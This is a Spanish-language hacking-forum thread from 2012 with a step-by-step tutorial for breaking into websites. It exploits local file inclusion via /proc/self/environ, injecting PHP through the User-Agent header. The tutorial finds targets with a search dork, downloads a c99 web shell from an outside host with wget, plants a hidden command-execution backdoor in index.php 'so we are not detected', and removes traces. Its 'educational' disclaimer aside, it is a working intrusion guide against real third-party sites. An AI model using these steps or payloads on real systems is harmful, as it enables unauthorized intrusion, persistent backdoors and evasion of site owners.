Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Muppet en Julio 16, 2012, 09:11:15 PM

Título: Explotar LFI, Subir Shell Explotando /proc/self/environ y Backdoorizar
Publicado por: Muppet en Julio 16, 2012, 09:11:15 PM
Leyendo el Post de CalebBuker sobre LFI atrasves de php://input
desidi hacer un tutorial de otro metodo para concegir subir una shell por medio de LFI
utilizando injecciones php atraves de una vulnerabilidad en el /proc/self/environ
Empecemos:

Primero Buscamos con un dork alguna web Vulnerable a LFI

Dork:

inurl:*.php?page=* site:.com.ar

Vamos probando hasta encontrar una q al incluir /etc/passwd nos muestra su contenido
En este caso:

http://sitiovulnerable/index.php?page=/etc/passwd

(http://i48.tinypic.com/wul7w3.png)

Damos como parametro a incluir /proc/self/environ y vemos el siguien resultado

http://sitiovulnerable/index.php?page=/proc/self/environ

(http://i45.tinypic.com/1zv9749.png)

Nos vamos a Mozilla Firefox y abrimos el addon Tamper Data:

Damos clik en Start Tamper y volvemos a realizar la Peticion al sitio web

Atrapa el Primer "pakete" y nos sale el siguiente cartel

(http://i48.tinypic.com/2zgw01v.png)

Desactivamos la casilla "Continue Tampering" y Damos Click en Tamper, modificamos el Parametro User-Agent intrudiciendo algun Codigo php, de Prueba, Yo intentare con <? System('ls'); ?> para ver si logramos listar el contenido de host.

(http://i50.tinypic.com/2zqh7gm.png)

Damos Click en OK y vemos q el codigo php se ejecuta correctamente y lista los archivos y directorios de la web Vulnerable:

(http://i45.tinypic.com/aya984.png)

Ahora Sabemos que se puede ejecutar Codigo Shell atraves de php con el comando system,exec,etc (si no funcionace reciviriamos un mensaje diciendo q la funcion system() a sido deshabilitada por razones de seguridad)

Subiremos Nuestra Shell, de la siguiente forma.

Abriremos Tamper Data y comensaremos a Capturar.
Repetiremos la Peticion al host:
http://sitiovulnerable/index.php?page=/proc/self/environ
Modificaremos el Parametro User-Agent para que ejecute Wget y descarge una shell en txt de donde sea que este alojada con el siguiente codigo php

<? system('wget http://SitioDeLaShell/shell.txt'); ?>

(http://i45.tinypic.com/34hc76w.png)

Repetimos la Operacion Con Tamper Data y Comprobamos q nuestra shell se subio correctamente pasando como parametro en User-Agent

<? system('ls'); ?>

Vemos que dentro de la lista de archivos del host aparece nuestra shell

(http://i47.tinypic.com/qpl2eb.png)

Convertiremos Nuestro txt, en un archivo php, repitiendo la operacion con Tamper Data y pasando como Parametro de User-Agent

<? system('mv c99.txt s.php'); ?>

Una ves Hecho Esto repetimos el procedimiento con tamper data para listar nuestros archivos, para ver si el proceso anterior Termino Correctamente:

<? system('ls'); ?>

(http://i50.tinypic.com/10podc1.png)

Como vemos el archivo fue Renombrado Correctamente, solo nos queda vistar nuestro archivo por medio de la URL

http://sitiovulerable/s.php

(http://i50.tinypic.com/2n8redl.png))

Como vemos la ejecucion de la shellphp, se ejecuto Correctamente. Como es un Sitio Importante y no queremos q nos detecten, introduciremos un backdoor dentro del codigo de algun archivo, yo elegi index.php

(http://i45.tinypic.com/2ytv09i.png)

Les Dejo el code del backdoor q arme:

<?php
if($_GET['active']=='si'){
system$_GET['c']);
}
?>


Lo Introduciremos dentro de index.php y al llamarlo desde

http://SutioVulnerable/index.php?c=ls&active=si

nos mostrara el resultado de la ejecucion del parametro q pasemos.

(http://i48.tinypic.com/25in68w.png)

Solo nos queda Eliminar s.php con el comando rm s.php por medio de nuestro backdoor

http://SutioVulnerable/index.php?c=rm s.php&active=si

Listamos el Contenido del Host

http://SutioVulnerable/index.php?c=ls&active=si

y vemos q s.php ha desaparecido.

(http://i50.tinypic.com/jk8siq.png)

Espero que este tutorial les halla servido, HD_Breaker

Renuncia: No me hago Responsable del Uso que le den a este tutorial, su contenido es puramente educativo
Título: Re:Explotar LFI, Subir Shell Explotando /proc/self/environ y Backdorizar
Publicado por: Muppet en Julio 17, 2012, 12:35:31 AM
Con un RFI solo es necesario tener un archivo con una WebShell en algun servidor para llamarlo directamente desde el RFI.